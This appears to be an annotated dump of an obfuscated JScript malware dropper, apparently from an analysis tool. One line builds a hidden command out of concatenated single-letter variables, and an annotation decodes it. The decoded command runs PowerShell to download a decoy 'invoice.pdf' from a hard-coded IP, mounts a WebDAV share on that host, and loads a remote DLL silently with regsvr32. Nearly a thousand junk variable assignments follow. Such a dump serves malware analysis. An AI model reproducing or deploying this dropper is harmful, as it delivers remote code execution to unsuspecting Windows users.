13	this[udwpxy + qlyyzomu + huredpvhh + bmpthzryp + vkjkn + xexmxra + celknyo][oksppgeh + bmpthzryp + lwqnwz + vpjsq + celknyo + lwqnwz + gpcvqchq + zuhmrlk + ounmvk + lwqnwz + huredpvhh + celknyo] ( udwpxy + qlyyzomu + huredpvhh + bmpthzryp + vkjkn + xexmxra + celknyo + rpjzdeo + qlyyzomu + jydffma + lwqnwz + ygysxhpv + ygysxhpv ) [bmpthzryp + pwdqzshoe + qzbgvfdly] ( huredpvhh + wekfqk + btihaqcm + qwolbtyx + kmdog + huredpvhh + qwolbtyx + xexmxra + lkgmljahf + qdnwcipy + lwqnwz + bmpthzryp + imuhiuuwt + jydffma + lwqnwz + ygysxhpv + ygysxhpv + rpjzdeo + lwqnwz + gqyvnbox + lwqnwz + qwolbtyx + pbwdftl + oksppgeh + lkgmljahf + wekfqk + wekfqk + vpjsq + qzbgvfdly + btihaqcm + qwolbtyx + kppdbheb + otcxlq + qzbgvfdly + qhbvvwl + lkgmljahf + dpxrkls + lwqnwz + pbwdftl + udwpxy + lwqnwz + zuhmrlk + oaafvct + lwqnwz + iubxhwcls + pwdqzshoe + lwqnwz + imuhiuuwt + celknyo + qwolbtyx + pbwdftl + gpcvqchq + pwdqzshoe + celknyo + ohhakubi + vkjkn + ygysxhpv + lwqnwz + qwolbtyx + aynbum + celknyo + lwqnwz + wekfqk + xexmxra + aynbum + xkxey + vkjkn + qzbgvfdly + qhbvvwl + lkgmljahf + vkjkn + huredpvhh + lwqnwz + rpjzdeo + xexmxra + btihaqcm + yzvjkas + qwolbtyx + jydffma + celknyo + celknyo + xexmxra + qsbgda + kmdog + kmdog + mpkdjfhl + gjqaws + mtboeuttj + rpjzdeo + mpkdjfhl + hhgzulhjw + mtboeuttj + rpjzdeo + mpkdjfhl + rpjzdeo + hayxwy + grskdbafy + kkavzfsq + kmdog + vkjkn + qzbgvfdly + qhbvvwl + lkgmljahf + vkjkn + huredpvhh + lwqnwz + rpjzdeo + xexmxra + jydffma + xexmxra + kppdbheb + auucygip + auucygip + imuhiuuwt + celknyo + vpjsq + bmpthzryp + celknyo + qwolbtyx + aynbum + celknyo + lwqnwz + wekfqk + xexmxra + aynbum + xkxey + vkjkn + qzbgvfdly + qhbvvwl + lkgmljahf + vkjkn + huredpvhh + lwqnwz + rpjzdeo + xexmxra + btihaqcm + yzvjkas + auucygip + auucygip + huredpvhh + wekfqk + btihaqcm + qwolbtyx + kmdog + huredpvhh + qwolbtyx + qzbgvfdly + lwqnwz + celknyo + qwolbtyx + pwdqzshoe + imuhiuuwt + lwqnwz + qwolbtyx + xkxey + xkxey + mpkdjfhl + gjqaws + mtboeuttj + rpjzdeo + mpkdjfhl + hhgzulhjw + mtboeuttj + rpjzdeo + mpkdjfhl + rpjzdeo + hayxwy + grskdbafy + kkavzfsq + ashnza + ppqklg + ppqklg + ppqklg + ppqklg + xkxey + btihaqcm + vpjsq + qhbvvwl + qdnwcipy + qdnwcipy + qdnwcipy + bmpthzryp + lkgmljahf + lkgmljahf + celknyo + xkxey + auucygip + auucygip + huredpvhh + wekfqk + btihaqcm + qwolbtyx + kmdog + huredpvhh + qwolbtyx + bmpthzryp + lwqnwz + yutjg + imuhiuuwt + qhbvvwl + bmpthzryp + mtboeuttj + hayxwy + qwolbtyx + kmdog + imuhiuuwt + qwolbtyx + xkxey + xkxey + mpkdjfhl + gjqaws + mtboeuttj + rpjzdeo + mpkdjfhl + hhgzulhjw + mtboeuttj + rpjzdeo + mpkdjfhl + rpjzdeo + hayxwy + grskdbafy + kkavzfsq + ashnza + ppqklg + ppqklg + ppqklg + ppqklg + xkxey + btihaqcm + vpjsq + qhbvvwl + qdnwcipy + qdnwcipy + qdnwcipy + bmpthzryp + lkgmljahf + lkgmljahf + celknyo + xkxey + hayxwy + mpkdjfhl + hhgzulhjw + mpkdjfhl + ppqklg + hayxwy + hayxwy + kkavzfsq + ppqklg + igppgyhue + ppqklg + hhgzulhjw + mpkdjfhl + kkavzfsq + rpjzdeo + btihaqcm + ygysxhpv + ygysxhpv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll",0,false) ➔ 0
14	}
15	xexmxra = "I";
16	xexmxra = "h";
17	xexmxra = "l";
18	xexmxra = "T";
19	xexmxra = "x";
20	xexmxra = "b";
21	xexmxra = "R";
22	xexmxra = "A";
23	xexmxra = "M";
24	xexmxra = "i";
25	xexmxra = "t";
26	xexmxra = "Q";
27	xexmxra = "X";
28	xexmxra = "n";
29	xexmxra = "t";
30	xexmxra = "L";
31	xexmxra = "c";
32	xexmxra = "w";
33	xexmxra = "E";
34	xexmxra = "f";
35	xexmxra = "d";
36	xexmxra = "l";
37	xexmxra = "i";
38	xexmxra = "d";
39	xexmxra = "z";
40	xexmxra = "I";
41	xexmxra = "R";
42	xexmxra = "I";
43	xexmxra = "p";
44	vpjsq = "t";
45	vpjsq = "A";
46	vpjsq = "N";
47	vpjsq = "h";
48	vpjsq = "W";
49	vpjsq = "z";
50	vpjsq = "N";
51	vpjsq = "q";
52	vpjsq = "S";
53	vpjsq = "v";
54	vpjsq = "M";
55	vpjsq = "m";
56	vpjsq = "x";
57	vpjsq = "E";
58	vpjsq = "y";
59	vpjsq = "a";
60	kkavzfsq = "Z";
61	kkavzfsq = "J";
62	kkavzfsq = "H";
63	kkavzfsq = "Y";
64	kkavzfsq = "k";
65	kkavzfsq = "y";
66	kkavzfsq = "V";
67	kkavzfsq = "d";
68	kkavzfsq = "c";
69	kkavzfsq = "t";
70	kkavzfsq = "v";
71	kkavzfsq = "R";
72	kkavzfsq = "G";
73	kkavzfsq = "Y";
74	kkavzfsq = "e";
75	kkavzfsq = "E";
76	kkavzfsq = "J";
77	kkavzfsq = "L";
78	kkavzfsq = "n";
79	kkavzfsq = "D";
80	kkavzfsq = "l";
81	kkavzfsq = "k";
82	kkavzfsq = "5";
83	celknyo = "H";
84	celknyo = "O";
85	celknyo = "i";
86	celknyo = "U";
87	celknyo = "R";
88	celknyo = "c";
89	celknyo = "Z";
90	celknyo = "z";
91	celknyo = "Y";
92	celknyo = "a";
93	celknyo = "e";
94	celknyo = "X";
95	celknyo = "W";
96	celknyo = "E";
97	celknyo = "H";
98	celknyo = "p";
99	celknyo = "d";
100	celknyo = "t";
101	celknyo = "y";
102	celknyo = "N";
103	celknyo = "j";
104	celknyo = "V";
105	celknyo = "j";
106	celknyo = "X";
107	celknyo = "z";
108	celknyo = "I";
109	celknyo = "U";
110	celknyo = "t";
111	yutjg = "g";
112	qwolbtyx = "a";
113	qwolbtyx = "z";
114	qwolbtyx = "Y";
115	qwolbtyx = "F";
116	qwolbtyx = "w";
117	qwolbtyx = "R";
118	qwolbtyx = "C";
119	qwolbtyx = "T";
120	qwolbtyx = "O";
121	qwolbtyx = "S";
122	qwolbtyx = "k";
123	qwolbtyx = "h";
124	qwolbtyx = "L";
125	qwolbtyx = "Q";
126	qwolbtyx = "d";
127	qwolbtyx = "N";
128	qwolbtyx = "p";
129	qwolbtyx = "Z";
130	qwolbtyx = "P";
131	qwolbtyx = "K";
132	qwolbtyx = "r";
133	qwolbtyx = "N";
134	qwolbtyx = "y";
135	qwolbtyx = "O";
136	qwolbtyx = "n";
137	qwolbtyx = "y";
138	qwolbtyx = "x";
139	qwolbtyx = "V";
140	qwolbtyx = "s";
141	qwolbtyx = "e";
142	qwolbtyx = "J";
143	qwolbtyx = "z";
144	qwolbtyx = "o";
145	qwolbtyx = "V";
146	qwolbtyx = "n";
147	qwolbtyx = "s";
148	qwolbtyx = "z";
149	qwolbtyx = " ";
150	lwqnwz = "W";
151	lwqnwz = "t";
152	lwqnwz = "q";
153	lwqnwz = "x";
154	lwqnwz = "I";
155	lwqnwz = "q";
156	lwqnwz = "C";
157	lwqnwz = "i";
158	lwqnwz = "w";
159	lwqnwz = "o";
160	lwqnwz = "H";
161	lwqnwz = "Z";
162	lwqnwz = "B";
163	lwqnwz = "p";
164	lwqnwz = "M";
165	lwqnwz = "N";
166	lwqnwz = "g";
167	lwqnwz = "U";
168	lwqnwz = "e";
169	sfybunpww = "q";
170	sfybunpww = "U";
171	sfybunpww = "o";
172	sfybunpww = "L";
173	sfybunpww = "T";
174	sfybunpww = "j";
175	sfybunpww = "X";
176	sfybunpww = "f";
177	sfybunpww = "Q";
178	sfybunpww = "p";
179	sfybunpww = "T";
180	sfybunpww = "U";
181	grskdbafy = "x";
182	grskdbafy = "M";
183	grskdbafy = "Y";
184	grskdbafy = "B";
185	grskdbafy = "m";
186	grskdbafy = "l";
187	grskdbafy = "g";
188	grskdbafy = "a";
189	grskdbafy = "F";
190	grskdbafy = "o";
191	grskdbafy = "T";
192	grskdbafy = "z";
193	grskdbafy = "F";
194	grskdbafy = "H";
195	grskdbafy = "i";
196	grskdbafy = "n";
197	grskdbafy = "a";
198	grskdbafy = "B";
199	grskdbafy = "F";
200	grskdbafy = "f";
201	grskdbafy = "Y";
202	grskdbafy = "P";
203	grskdbafy = "S";
204	grskdbafy = "f";
205	grskdbafy = "0";
206	ppqklg = "V";
207	ppqklg = "c";
208	ppqklg = "I";
209	ppqklg = "p";
210	ppqklg = "K";
211	ppqklg = "Q";
212	ppqklg = "w";
213	ppqklg = "e";
214	ppqklg = "i";
215	ppqklg = "n";
216	ppqklg = "8";
217	oksppgeh = "f";
218	oksppgeh = "X";
219	oksppgeh = "V";
220	oksppgeh = "l";
221	oksppgeh = "z";
222	oksppgeh = "m";
223	oksppgeh = "z";
224	oksppgeh = "D";
225	oksppgeh = "C";
226	oksppgeh = "d";
227	oksppgeh = "X";
228	oksppgeh = "V";
229	oksppgeh = "C";
230	vkjkn = "D";
231	vkjkn = "Z";
232	vkjkn = "b";
233	vkjkn = "U";
234	vkjkn = "V";
235	vkjkn = "l";
236	vkjkn = "F";
237	vkjkn = "Q";
238	vkjkn = "s";
239	vkjkn = "A";
240	vkjkn = "Q";
241	vkjkn = "f";
242	vkjkn = "e";
243	vkjkn = "p";
244	vkjkn = "U";
245	vkjkn = "t";
246	vkjkn = "J";
247	vkjkn = "y";
248	vkjkn = "Y";
249	vkjkn = "d";
250	vkjkn = "Q";
251	vkjkn = "R";
252	vkjkn = "j";
253	vkjkn = "Y";
254	vkjkn = "w";
255	vkjkn = "N";
256	vkjkn = "Q";
257	vkjkn = "N";
258	vkjkn = "S";
259	vkjkn = "N";
260	vkjkn = "l";
261	vkjkn = "m";
262	vkjkn = "e";
263	vkjkn = "K";
264	vkjkn = "n";
265	vkjkn = "i";
266	oaafvct = "l";
267	oaafvct = "v";
268	oaafvct = "P";
269	oaafvct = "o";
270	oaafvct = "W";
271	oaafvct = "a";
272	oaafvct = "p";
273	oaafvct = "P";
274	oaafvct = "n";
275	oaafvct = "R";
276	cvpugfp = "d";
277	cvpugfp = "L";
278	cvpugfp = "Z";
279	cvpugfp = "J";
280	cvpugfp = "k";
281	cvpugfp = "r";
282	cvpugfp = "x";
283	cvpugfp = "F";
284	cvpugfp = "E";
285	cvpugfp = "s";
286	cvpugfp = "S";
287	cvpugfp = "m";
288	cvpugfp = "Z";
289	cvpugfp = "I";
290	cvpugfp = "h";
291	cvpugfp = "N";
292	cvpugfp = "I";
293	cvpugfp = "k";
294	cvpugfp = "G";
295	cvpugfp = "C";
296	cvpugfp = "S";
297	cvpugfp = "E";
298	cvpugfp = "Q";
299	cvpugfp = "i";
300	cvpugfp = "F";
301	cvpugfp = "Q";
302	cvpugfp = "c";
303	cvpugfp = "J";
304	cvpugfp = "S";
305	cvpugfp = "i";
306	cvpugfp = "X";
307	cvpugfp = "Z";
308	cvpugfp = "O";
309	cvpugfp = "_";
310	qlyyzomu = "z";
311	qlyyzomu = "x";
312	qlyyzomu = "M";
313	qlyyzomu = "X";
314	qlyyzomu = "U";
315	qlyyzomu = "C";
316	qlyyzomu = "j";
317	qlyyzomu = "r";
318	qlyyzomu = "T";
319	qlyyzomu = "Z";
320	qlyyzomu = "p";
321	qlyyzomu = "u";
322	qlyyzomu = "X";
323	qlyyzomu = "x";
324	qlyyzomu = "j";
325	qlyyzomu = "q";
326	qlyyzomu = "q";
327	qlyyzomu = "p";
328	qlyyzomu = "B";
329	qlyyzomu = "p";
330	qlyyzomu = "y";
331	qlyyzomu = "E";
332	qlyyzomu = "I";
333	qlyyzomu = "q";
334	qlyyzomu = "F";
335	qlyyzomu = "z";
336	qlyyzomu = "t";
337	qlyyzomu = "U";
338	qlyyzomu = "b";
339	qlyyzomu = "P";
340	qlyyzomu = "F";
341	qlyyzomu = "J";
342	qlyyzomu = "s";
343	qlyyzomu = "e";
344	qlyyzomu = "A";
345	qlyyzomu = "Z";
346	qlyyzomu = "o";
347	qlyyzomu = "C";
348	qlyyzomu = "S";
349	ygysxhpv = "W";
350	ygysxhpv = "Z";
351	ygysxhpv = "a";
352	ygysxhpv = "U";
353	ygysxhpv = "y";
354	ygysxhpv = "u";
355	ygysxhpv = "V";
356	ygysxhpv = "k";
357	ygysxhpv = "r";
358	ygysxhpv = "z";
359	ygysxhpv = "F";
360	ygysxhpv = "y";
361	ygysxhpv = "Y";
362	ygysxhpv = "a";
363	ygysxhpv = "G";
364	ygysxhpv = "z";
365	ygysxhpv = "r";
366	ygysxhpv = "T";
367	ygysxhpv = "w";
368	ygysxhpv = "l";
369	ygysxhpv = "l";
370	ygysxhpv = "n";
371	ygysxhpv = "x";
372	ygysxhpv = "Y";
373	ygysxhpv = "s";
374	ygysxhpv = "Z";
375	ygysxhpv = "s";
376	ygysxhpv = "M";
377	ygysxhpv = "y";
378	ygysxhpv = "c";
379	ygysxhpv = "c";
380	ygysxhpv = "y";
381	ygysxhpv = "w";
382	ygysxhpv = "A";
383	ygysxhpv = "C";
384	ygysxhpv = "E";
385	ygysxhpv = "w";
386	ygysxhpv = "f";
387	ygysxhpv = "t";
388	ygysxhpv = "R";
389	ygysxhpv = "i";
390	ygysxhpv = "i";
391	ygysxhpv = "u";
392	ygysxhpv = "l";
393	zzxzcx = "E";
394	zzxzcx = "y";
395	zzxzcx = "H";
396	huredpvhh = "H";
397	huredpvhh = "X";
398	huredpvhh = "m";
399	huredpvhh = "C";
400	huredpvhh = "o";
401	huredpvhh = "v";
402	huredpvhh = "R";
403	huredpvhh = "O";
404	huredpvhh = "W";
405	huredpvhh = "g";
406	huredpvhh = "b";
407	huredpvhh = "x";
408	huredpvhh = "E";
409	huredpvhh = "c";
410	huredpvhh = "Q";
411	huredpvhh = "c";
412	wekfqk = "J";
413	wekfqk = "J";
414	wekfqk = "D";
415	wekfqk = "V";
416	wekfqk = "m";
417	auucygip = "V";
418	auucygip = "A";
419	auucygip = "e";
420	auucygip = "F";
421	auucygip = "h";
422	auucygip = "y";
423	auucygip = "H";
424	auucygip = "q";
425	auucygip = "O";
426	auucygip = "v";
427	auucygip = "V";
428	auucygip = "w";
429	auucygip = "J";
430	auucygip = "n";
431	auucygip = "m";
432	auucygip = "e";
433	auucygip = "L";
434	auucygip = "S";
435	auucygip = "d";
436	auucygip = "A";
437	auucygip = "w";
438	auucygip = "I";
439	auucygip = "v";
440	auucygip = "F";
441	auucygip = "I";
442	auucygip = "N";
443	auucygip = "o";
444	auucygip = "Q";
445	auucygip = "H";
446	auucygip = "r";
447	auucygip = "f";
448	auucygip = "J";
449	auucygip = "r";
450	auucygip = "r";
451	auucygip = "Y";
452	auucygip = "L";
453	auucygip = "s";
454	auucygip = "Z";
455	auucygip = "&";
456	pwdqzshoe = "i";
457	pwdqzshoe = "S";
458	pwdqzshoe = "k";
459	pwdqzshoe = "i";
460	pwdqzshoe = "S";
461	pwdqzshoe = "l";
462	pwdqzshoe = "q";
463	pwdqzshoe = "y";
464	pwdqzshoe = "O";
465	pwdqzshoe = "E";
466	pwdqzshoe = "K";
467	pwdqzshoe = "c";
468	pwdqzshoe = "u";
469	foivorlkm = "l";
470	foivorlkm = "i";
471	foivorlkm = "f";
472	foivorlkm = "W";
473	foivorlkm = "J";
474	foivorlkm = "p";
475	foivorlkm = "x";
476	foivorlkm = "P";
477	foivorlkm = "p";
478	foivorlkm = "g";
479	foivorlkm = "u";
480	foivorlkm = "M";
481	foivorlkm = "X";
482	foivorlkm = "I";
483	foivorlkm = "u";
484	foivorlkm = "N";
485	foivorlkm = "T";
486	foivorlkm = "T";
487	foivorlkm = "a";
488	foivorlkm = "x";
489	foivorlkm = "I";
490	foivorlkm = "C";
491	foivorlkm = "v";
492	foivorlkm = "W";
493	foivorlkm = "I";
494	foivorlkm = "c";
495	foivorlkm = "N";
496	foivorlkm = "V";
497	foivorlkm = "C";
498	foivorlkm = "p";
499	foivorlkm = "z";
500	foivorlkm = "u";
501	foivorlkm = "Z";
502	foivorlkm = "Z";
503	foivorlkm = "Q";
504	foivorlkm = "S";
505	foivorlkm = "e";
506	foivorlkm = "d";
507	foivorlkm = "L";
508	otcxlq = "p";
509	otcxlq = "a";
510	otcxlq = "c";
511	otcxlq = "t";
512	otcxlq = "k";
513	otcxlq = "u";
514	otcxlq = "w";
515	otcxlq = "I";
516	otcxlq = "j";
517	otcxlq = "F";
518	otcxlq = "Z";
519	otcxlq = "K";
520	otcxlq = "W";
521	otcxlq = "t";
522	otcxlq = "I";
523	qzbgvfdly = "y";
524	qzbgvfdly = "f";
525	qzbgvfdly = "G";
526	qzbgvfdly = "H";
527	qzbgvfdly = "w";
528	qzbgvfdly = "R";
529	qzbgvfdly = "L";
530	qzbgvfdly = "u";
531	qzbgvfdly = "K";
532	qzbgvfdly = "i";
533	qzbgvfdly = "m";
534	qzbgvfdly = "e";
535	qzbgvfdly = "Q";
536	qzbgvfdly = "p";
537	qzbgvfdly = "H";
538	qzbgvfdly = "q";
539	qzbgvfdly = "W";
540	qzbgvfdly = "j";
541	qzbgvfdly = "Q";
542	qzbgvfdly = "f";
543	qzbgvfdly = "h";
544	qzbgvfdly = "Q";
545	qzbgvfdly = "Y";
546	qzbgvfdly = "K";
547	qzbgvfdly = "C";
548	qzbgvfdly = "G";
549	qzbgvfdly = "l";
550	qzbgvfdly = "J";
551	qzbgvfdly = "X";
552	qzbgvfdly = "H";
553	qzbgvfdly = "Z";
554	qzbgvfdly = "O";
555	qzbgvfdly = "J";
556	qzbgvfdly = "e";
557	qzbgvfdly = "x";
558	qzbgvfdly = "y";
559	qzbgvfdly = "g";
560	qzbgvfdly = "W";
561	qzbgvfdly = "Q";
562	qzbgvfdly = "m";
563	qzbgvfdly = "K";
564	qzbgvfdly = "Y";
565	qzbgvfdly = "n";
566	lkgmljahf = "N";
567	lkgmljahf = "w";
568	lkgmljahf = "n";
569	lkgmljahf = "T";
570	lkgmljahf = "o";
571	wwjikbz = "X";
572	wwjikbz = "v";
573	wwjikbz = "y";
574	wwjikbz = "V";
575	wwjikbz = "Y";
576	qdnwcipy = "P";
577	qdnwcipy = "G";
578	qdnwcipy = "V";
579	qdnwcipy = "R";
580	qdnwcipy = "g";
581	qdnwcipy = "W";
582	qdnwcipy = "q";
583	qdnwcipy = "f";
584	qdnwcipy = "Z";
585	qdnwcipy = "q";
586	qdnwcipy = "S";
587	qdnwcipy = "Z";
588	qdnwcipy = "C";
589	qdnwcipy = "R";
590	qdnwcipy = "j";
591	qdnwcipy = "I";
592	qdnwcipy = "Z";
593	qdnwcipy = "w";
594	qdnwcipy = "L";
595	qdnwcipy = "c";
596	qdnwcipy = "w";
597	igppgyhue = "c";
598	igppgyhue = "v";
599	igppgyhue = "G";
600	igppgyhue = "Z";
601	igppgyhue = "n";
602	igppgyhue = "P";
603	igppgyhue = "k";
604	igppgyhue = "m";
605	igppgyhue = "v";
606	igppgyhue = "I";
607	igppgyhue = "G";
608	igppgyhue = "d";
609	igppgyhue = "S";
610	igppgyhue = "a";
611	igppgyhue = "l";
612	igppgyhue = "z";
613	igppgyhue = "R";
614	igppgyhue = "w";
615	igppgyhue = "o";
616	igppgyhue = "X";
617	igppgyhue = "d";
618	igppgyhue = "w";
619	igppgyhue = "B";
620	igppgyhue = "7";
621	ohhakubi = "r";
622	ohhakubi = "g";
623	ohhakubi = "S";
624	ohhakubi = "g";
625	ohhakubi = "M";
626	ohhakubi = "C";
627	ohhakubi = "P";
628	ohhakubi = "u";
629	ohhakubi = "Z";
630	ohhakubi = "G";
631	ohhakubi = "S";
632	ohhakubi = "O";
633	ohhakubi = "o";
634	ohhakubi = "P";
635	ohhakubi = "W";
636	ohhakubi = "P";
637	ohhakubi = "m";
638	ohhakubi = "x";
639	ohhakubi = "M";
640	ohhakubi = "K";
641	ohhakubi = "l";
642	ohhakubi = "l";
643	ohhakubi = "f";
644	ohhakubi = "z";
645	ohhakubi = "X";
646	ohhakubi = "z";
647	ohhakubi = "V";
648	ohhakubi = "d";
649	ohhakubi = "l";
650	ohhakubi = "Z";
651	ohhakubi = "a";
652	ohhakubi = "n";
653	ohhakubi = "O";
654	ohhakubi = "r";
655	ohhakubi = "B";
656	ohhakubi = "h";
657	ohhakubi = "Q";
658	ohhakubi = "J";
659	ohhakubi = "W";
660	ohhakubi = "F";
661	qhbvvwl = "X";
662	qhbvvwl = "u";
663	qhbvvwl = "d";
664	qhbvvwl = "y";
665	qhbvvwl = "G";
666	qhbvvwl = "R";
667	qhbvvwl = "t";
668	qhbvvwl = "q";
669	qhbvvwl = "v";
670	dpxrkls = "k";
671	dpxrkls = "K";
672	dpxrkls = "B";
673	dpxrkls = "m";
674	dpxrkls = "r";
675	dpxrkls = "z";
676	dpxrkls = "g";
677	dpxrkls = "f";
678	dpxrkls = "E";
679	dpxrkls = "E";
680	dpxrkls = "f";
681	dpxrkls = "Q";
682	dpxrkls = "b";
683	dpxrkls = "q";
684	dpxrkls = "H";
685	dpxrkls = "s";
686	dpxrkls = "l";
687	dpxrkls = "a";
688	dpxrkls = "k";
689	dpxrkls = "K";
690	dpxrkls = "p";
691	dpxrkls = "k";
692	btihaqcm = "J";
693	btihaqcm = "t";
694	btihaqcm = "q";
695	btihaqcm = "Y";
696	btihaqcm = "j";
697	btihaqcm = "k";
698	btihaqcm = "i";
699	btihaqcm = "e";
700	btihaqcm = "V";
701	btihaqcm = "W";
702	btihaqcm = "L";
703	btihaqcm = "r";
704	btihaqcm = "k";
705	btihaqcm = "N";
706	btihaqcm = "f";
707	btihaqcm = "t";
708	btihaqcm = "N";
709	btihaqcm = "R";
710	btihaqcm = "Y";
711	btihaqcm = "F";
712	btihaqcm = "i";
713	btihaqcm = "d";
714	btihaqcm = "o";
715	btihaqcm = "h";
716	btihaqcm = "T";
717	btihaqcm = "v";
718	btihaqcm = "j";
719	btihaqcm = "c";
720	btihaqcm = "V";
721	btihaqcm = "o";
722	btihaqcm = "A";
723	btihaqcm = "u";
724	btihaqcm = "I";
725	btihaqcm = "H";
726	btihaqcm = "c";
727	btihaqcm = "a";
728	btihaqcm = "X";
729	btihaqcm = "p";
730	btihaqcm = "F";
731	btihaqcm = "J";
732	btihaqcm = "d";
733	kmdog = "g";
734	kmdog = "Q";
735	kmdog = "O";
736	kmdog = "l";
737	kmdog = "p";
738	kmdog = "d";
739	kmdog = "X";
740	kmdog = "V";
741	kmdog = "b";
742	kmdog = "V";
743	kmdog = "z";
744	kmdog = "q";
745	kmdog = "J";
746	kmdog = "J";
747	kmdog = "q";
748	kmdog = "H";
749	kmdog = "J";
750	kmdog = "n";
751	kmdog = "Y";
752	kmdog = "Z";
753	kmdog = "/";
754	xgowx = "p";
755	xgowx = "r";
756	xgowx = "C";
757	xgowx = "I";
758	xgowx = "X";
759	xgowx = "L";
760	xgowx = "i";
761	xgowx = "l";
762	xgowx = "A";
763	xgowx = "l";
764	xgowx = "F";
765	xgowx = "F";
766	xgowx = "D";
767	xgowx = "v";
768	xgowx = "r";
769	xgowx = "N";
770	xgowx = "g";
771	xgowx = "c";
772	xgowx = "H";
773	xgowx = "M";
774	xgowx = "T";
775	xgowx = "k";
776	xgowx = "o";
777	xgowx = "i";
778	xgowx = "f";
779	xgowx = "A";
780	xgowx = "g";
781	xgowx = "m";
782	xgowx = "g";
783	xgowx = "D";
784	xgowx = "z";
785	xgowx = "c";
786	xgowx = "O";
787	xgowx = "Q";
788	yrukiovun = "C";
789	yrukiovun = "z";
790	yrukiovun = "M";
791	yrukiovun = "E";
792	yrukiovun = "E";
793	yrukiovun = "M";
794	yrukiovun = "C";
795	yrukiovun = "S";
796	yrukiovun = "w";
797	yrukiovun = "T";
798	qsbgda = "m";
799	qsbgda = "s";
800	qsbgda = "e";
801	qsbgda = "D";
802	qsbgda = "o";
803	qsbgda = "i";
804	qsbgda = "B";
805	qsbgda = "x";
806	qsbgda = "W";
807	qsbgda = "z";
808	qsbgda = "I";
809	qsbgda = "A";
810	qsbgda = "e";
811	qsbgda = "U";
812	qsbgda = "j";
813	qsbgda = "e";
814	qsbgda = "p";
815	qsbgda = "M";
816	qsbgda = "M";
817	qsbgda = "F";
818	qsbgda = "u";
819	qsbgda = "t";
820	qsbgda = "Z";
821	qsbgda = "w";
822	qsbgda = "O";
823	qsbgda = "e";
824	qsbgda = "t";
825	qsbgda = "P";
826	qsbgda = "U";
827	qsbgda = "C";
828	qsbgda = "G";
829	qsbgda = ":";
830	imuhiuuwt = "t";
831	imuhiuuwt = "C";
832	imuhiuuwt = "P";
833	imuhiuuwt = "r";
834	imuhiuuwt = "U";
835	imuhiuuwt = "K";
836	imuhiuuwt = "o";
837	imuhiuuwt = "R";
838	imuhiuuwt = "q";
839	imuhiuuwt = "w";
840	imuhiuuwt = "W";
841	imuhiuuwt = "g";
842	imuhiuuwt = "L";
843	imuhiuuwt = "f";
844	imuhiuuwt = "c";
845	imuhiuuwt = "P";
846	imuhiuuwt = "B";
847	imuhiuuwt = "k";
848	imuhiuuwt = "b";
849	imuhiuuwt = "B";
850	imuhiuuwt = "s";
851	imuhiuuwt = "l";
852	imuhiuuwt = "u";
853	imuhiuuwt = "N";
854	imuhiuuwt = "Q";
855	imuhiuuwt = "u";
856	imuhiuuwt = "z";
857	imuhiuuwt = "s";
858	mtohh = "X";
859	mtohh = "m";
860	mtohh = "u";
861	mtohh = "A";
862	mtohh = "Z";
863	mtohh = "G";
864	mtohh = "N";
865	hhgzulhjw = "h";
866	hhgzulhjw = "A";
867	hhgzulhjw = "b";
868	hhgzulhjw = "f";
869	hhgzulhjw = "4";
870	gpxcshwn = "s";
871	gpxcshwn = "Y";
872	gpxcshwn = "T";
873	gpxcshwn = "V";
874	gpxcshwn = "W";
875	gpxcshwn = "y";
876	gpxcshwn = "d";
877	gpxcshwn = "N";
878	gpxcshwn = "W";
879	gpxcshwn = "i";
880	gpxcshwn = "Q";
881	gpxcshwn = "N";
882	gpxcshwn = "h";
883	gpxcshwn = "K";
884	kppdbheb = "c";
885	kppdbheb = "U";
886	kppdbheb = "I";
887	kppdbheb = "S";
888	kppdbheb = "X";
889	kppdbheb = "T";
890	kppdbheb = "u";
891	kppdbheb = "f";
892	kppdbheb = "X";
893	kppdbheb = "z";
894	kppdbheb = "I";
895	kppdbheb = "Z";
896	kppdbheb = "w";
897	kppdbheb = "d";
898	kppdbheb = "O";
899	kppdbheb = "B";
900	kppdbheb = "L";
901	kppdbheb = "B";
902	kppdbheb = "d";
903	kppdbheb = "D";
904	kppdbheb = "q";
905	kppdbheb = "i";
906	kppdbheb = "\"";
907	ounmvk = "t";
908	ounmvk = "x";
909	ounmvk = "w";
910	ounmvk = "Q";
911	ounmvk = "O";
912	ounmvk = "y";
913	ounmvk = "c";
914	ounmvk = "C";
915	ounmvk = "l";
916	ounmvk = "o";
917	ounmvk = "v";
918	ounmvk = "j";
919	ounmvk = "N";
920	ounmvk = "K";
921	ounmvk = "L";
922	ounmvk = "B";
923	ounmvk = "Y";
924	ounmvk = "j";
925	zuhmrlk = "F";
926	zuhmrlk = "m";
927	zuhmrlk = "H";
928	zuhmrlk = "R";
929	zuhmrlk = "N";
930	zuhmrlk = "r";
931	zuhmrlk = "h";
932	zuhmrlk = "b";
933	ashnza = "b";
934	ashnza = "M";
935	ashnza = "H";
936	ashnza = "I";
937	ashnza = "t";
938	ashnza = "x";
939	ashnza = "L";
940	ashnza = "P";
941	ashnza = "o";
942	ashnza = "R";
943	ashnza = "n";
944	ashnza = "l";
945	ashnza = "T";
946	ashnza = "m";
947	ashnza = "r";
948	ashnza = "@";
949	bmpthzryp = "a";
950	bmpthzryp = "y";
951	bmpthzryp = "G";
952	bmpthzryp = "B";
953	bmpthzryp = "q";
954	bmpthzryp = "X";
955	bmpthzryp = "z";
956	bmpthzryp = "J";
957	bmpthzryp = "G";
958	bmpthzryp = "G";
959	bmpthzryp = "q";
960	bmpthzryp = "F";
961	bmpthzryp = "c";
962	bmpthzryp = "a";
963	bmpthzryp = "E";
964	bmpthzryp = "x";
965	bmpthzryp = "K";
966	bmpthzryp = "f";
967	bmpthzryp = "g";
968	bmpthzryp = "W";
969	bmpthzryp = "P";
970	bmpthzryp = "B";
971	bmpthzryp = "n";
972	bmpthzryp = "q";
973	bmpthzryp = "t";
974	bmpthzryp = "H";
975	bmpthzryp = "h";
976	bmpthzryp = "D";
977	bmpthzryp = "N";
978	bmpthzryp = "x";
979	bmpthzryp = "Y";
980	bmpthzryp = "r";
981	mhlknkm = "T";
982	mhlknkm = "S";
983	mhlknkm = "Y";
984	mhlknkm = "j";
985	mhlknkm = "Z";
986	mhlknkm = "c";
987	mhlknkm = "D";
988	mhlknkm = "b";
989	mhlknkm = "r";
990	mhlknkm = "l";
991	mhlknkm = "v";
992	mhlknkm = "z";
